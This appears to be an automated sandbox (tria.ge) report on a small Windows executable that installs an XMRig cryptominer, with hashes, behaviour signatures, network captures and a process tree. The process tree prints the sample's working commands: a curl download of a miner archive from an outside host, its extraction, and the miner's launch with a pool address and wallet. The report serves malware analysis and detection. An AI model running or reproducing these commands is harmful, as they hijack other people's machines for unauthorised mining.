Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
11/03/2024, 21:08 UTC
240311-zy7ywsed31 1011/03/2024, 21:06 UTC
240311-zx53xagd73 1011/03/2024, 21:02 UTC
240311-zvwrfsec3x 1011/03/2024, 21:01 UTC
240311-ztxx5aeb9x 1011/03/2024, 20:59 UTC
240311-zs72psgc56 1011/03/2024, 20:57 UTC
240311-zrmpdaeb3v 1011/03/2024, 20:56 UTC
240311-zqzbsagb66 1011/03/2024, 20:55 UTC
240311-zqlexsgb55 1011/03/2024, 20:54 UTC
240311-zp4j4sgb43 1011/03/2024, 20:53 UTC
240311-zplz3agb32 10Analysis
-
max time kernel
1047s -
max time network
1045s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
-
submitted
11/03/2024, 20:53 UTC
General
-
Target
test - Copy (11).exe
-
Size
6KB
-
MD5
4634098fe194204dc03f967cc0b19cd6
-
SHA1
eaa58619c6cea9f148cec61ee504cd727b3e80d8
-
SHA256
a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
-
SHA512
64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
-
SSDEEP
96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s
Score
10/10
Malware Config
Signatures
-
XMRig Miner payload 62 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DGHe2bMo.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
-
DNS241.150.49.20.in-addr.arpaRemote address:8.8.8.8:53Request241.150.49.20.in-addr.arpaIN PTRResponse -
DNS1488.netlify.appRemote address:8.8.8.8:53Request1488.netlify.appIN AResponse1488.netlify.appIN A35.156.224.1611488.netlify.appIN A18.192.231.252
-
GEThttps://1488.netlify.app/xmrig-6.21.1-gcc-win64.zipRemote address:35.156.224.161:443RequestGET /xmrig-6.21.1-gcc-win64.zip HTTP/1.1
Host: 1488.netlify.app
User-Agent: curl/7.55.1
Accept: */*
ResponseHTTP/1.1 200 OK
Accept-Ranges: bytes
Age: 3466
Cache-Control: public,max-age=0,must-revalidate
Cache-Status: "Netlify Edge"; hit
Content-Length: 3336525
Content-Type: application/zip
Date: Mon, 11 Mar 2024 20:53:50 GMT
Etag: "3f561091cdba4bace650b26717533c91-ssl"
Server: Netlify
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Nf-Request-Id: 01HRQMP271MVHKFVR6QEJEFD6M
-
DNS29.179.17.96.in-addr.arpaRemote address:8.8.8.8:53Request29.179.17.96.in-addr.arpaIN PTRResponse29.179.17.96.in-addr.arpaIN PTRa96-17-179-29deploystaticakamaitechnologiescom
-
DNS74.32.126.40.in-addr.arpaRemote address:8.8.8.8:53Request74.32.126.40.in-addr.arpaIN PTRResponse
-
DNS161.224.156.35.in-addr.arpaRemote address:8.8.8.8:53Request161.224.156.35.in-addr.arpaIN PTRResponse161.224.156.35.in-addr.arpaIN PTRec2-35-156-224-161 eu-central-1compute amazonawscom
-
DNS26.35.223.20.in-addr.arpaRemote address:8.8.8.8:53Request26.35.223.20.in-addr.arpaIN PTRResponse
-
DNS9.228.82.20.in-addr.arpaRemote address:8.8.8.8:53Request9.228.82.20.in-addr.arpaIN PTRResponse
-
DNS183.59.114.20.in-addr.arpaRemote address:8.8.8.8:53Request183.59.114.20.in-addr.arpaIN PTRResponse
-
DNS182.245.100.95.in-addr.arpaRemote address:8.8.8.8:53Request182.245.100.95.in-addr.arpaIN PTRResponse182.245.100.95.in-addr.arpaIN PTRa95-100-245-182deploystaticakamaitechnologiescom
-
DNS209.205.72.20.in-addr.arpaRemote address:8.8.8.8:53Request209.205.72.20.in-addr.arpaIN PTRResponse
-
DNS209.205.72.20.in-addr.arpaRemote address:8.8.8.8:53Request209.205.72.20.in-addr.arpaIN PTR
-
DNS171.39.242.20.in-addr.arpaRemote address:8.8.8.8:53Request171.39.242.20.in-addr.arpaIN PTRResponse
-
DNS119.110.54.20.in-addr.arpaRemote address:8.8.8.8:53Request119.110.54.20.in-addr.arpaIN PTRResponse
-
DNS195.177.78.104.in-addr.arpaRemote address:8.8.8.8:53Request195.177.78.104.in-addr.arpaIN PTRResponse195.177.78.104.in-addr.arpaIN PTRa104-78-177-195deploystaticakamaitechnologiescom
-
DNS184.139.19.162.in-addr.arpaRemote address:8.8.8.8:53Request184.139.19.162.in-addr.arpaIN PTRResponse184.139.19.162.in-addr.arpaIN PTRp062minerscom
-
DNS140.71.91.104.in-addr.arpaRemote address:8.8.8.8:53Request140.71.91.104.in-addr.arpaIN PTRResponse140.71.91.104.in-addr.arpaIN PTRa104-91-71-140deploystaticakamaitechnologiescom
-
DNS5.179.17.96.in-addr.arpaRemote address:8.8.8.8:53Request5.179.17.96.in-addr.arpaIN PTRResponse5.179.17.96.in-addr.arpaIN PTRa96-17-179-5deploystaticakamaitechnologiescom
-
DNS90.65.42.20.in-addr.arpaRemote address:8.8.8.8:53Request90.65.42.20.in-addr.arpaIN PTRResponse
-
DNS134.71.91.104.in-addr.arpaRemote address:8.8.8.8:53Request134.71.91.104.in-addr.arpaIN PTRResponse134.71.91.104.in-addr.arpaIN PTRa104-91-71-134deploystaticakamaitechnologiescom
-
DNS209.178.17.96.in-addr.arpaRemote address:8.8.8.8:53Request209.178.17.96.in-addr.arpaIN PTRResponse209.178.17.96.in-addr.arpaIN PTRa96-17-178-209deploystaticakamaitechnologiescom
-
DNS37.179.17.96.in-addr.arpaRemote address:8.8.8.8:53Request37.179.17.96.in-addr.arpaIN PTRResponse37.179.17.96.in-addr.arpaIN PTRa96-17-179-37deploystaticakamaitechnologiescom
-
35.156.224.161:443https://1488.netlify.app/xmrig-6.21.1-gcc-win64.ziptls, http
HTTP Request
GET https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zipHTTP Response
200 -
20.231.121.79:80
-
162.19.139.184:2222xmr.2miners.com
-
8.8.8.8:53241.150.49.20.in-addr.arpadns
DNS Request
241.150.49.20.in-addr.arpa
-
8.8.8.8:531488.netlify.appdns
DNS Request
1488.netlify.app
DNS Response
35.156.224.16118.192.231.252
-
8.8.8.8:5329.179.17.96.in-addr.arpadns
DNS Request
29.179.17.96.in-addr.arpa
-
8.8.8.8:5374.32.126.40.in-addr.arpadns
DNS Request
74.32.126.40.in-addr.arpa
-
8.8.8.8:53161.224.156.35.in-addr.arpadns
DNS Request
161.224.156.35.in-addr.arpa
-
8.8.8.8:5326.35.223.20.in-addr.arpadns
DNS Request
26.35.223.20.in-addr.arpa
-
8.8.8.8:539.228.82.20.in-addr.arpadns
DNS Request
9.228.82.20.in-addr.arpa
-
8.8.8.8:53183.59.114.20.in-addr.arpadns
DNS Request
183.59.114.20.in-addr.arpa
-
8.8.8.8:53182.245.100.95.in-addr.arpadns
DNS Request
182.245.100.95.in-addr.arpa
-
8.8.8.8:53209.205.72.20.in-addr.arpadns
DNS Request
209.205.72.20.in-addr.arpa
DNS Request
209.205.72.20.in-addr.arpa
-
8.8.8.8:53171.39.242.20.in-addr.arpadns
DNS Request
171.39.242.20.in-addr.arpa
-
8.8.8.8:53119.110.54.20.in-addr.arpadns
DNS Request
119.110.54.20.in-addr.arpa
-
8.8.8.8:53195.177.78.104.in-addr.arpadns
DNS Request
195.177.78.104.in-addr.arpa
-
8.8.8.8:53184.139.19.162.in-addr.arpadns
DNS Request
184.139.19.162.in-addr.arpa
-
8.8.8.8:53140.71.91.104.in-addr.arpadns
DNS Request
140.71.91.104.in-addr.arpa
-
8.8.8.8:535.179.17.96.in-addr.arpadns
DNS Request
5.179.17.96.in-addr.arpa
-
8.8.8.8:5390.65.42.20.in-addr.arpadns
DNS Request
90.65.42.20.in-addr.arpa
-
8.8.8.8:53134.71.91.104.in-addr.arpadns
DNS Request
134.71.91.104.in-addr.arpa
-
8.8.8.8:53209.178.17.96.in-addr.arpadns
DNS Request
209.178.17.96.in-addr.arpa
-
8.8.8.8:5337.179.17.96.in-addr.arpadns
DNS Request
37.179.17.96.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.2MB
MD5e27f13ffb2989f290f16f8edd1c80171
SHA1352a34a66152f4998b8d9152356528f980de2ef5
SHA256fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9
SHA512549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a
-
Filesize
3.1MB
MD560df4e02aaa6418ce285912b4a05ed7d
SHA1d4fe24f937666fbc1e38a5247b4394c893fc2765
SHA256741d5dfc79b2735a051b7ac6738d0867ea0c5993cb7ad20c8550d0321f1e84c1
SHA5129fbfb6a9a81a0aa0c8604988e976b16779868a4fd92cb5b578fd76492be1780dd5e5968d403ff535db4431b27f35ca60d63d4e5e115d38425c7c3b8e6e8232c0
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
256KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
32KB
-
Filesize
10.8MB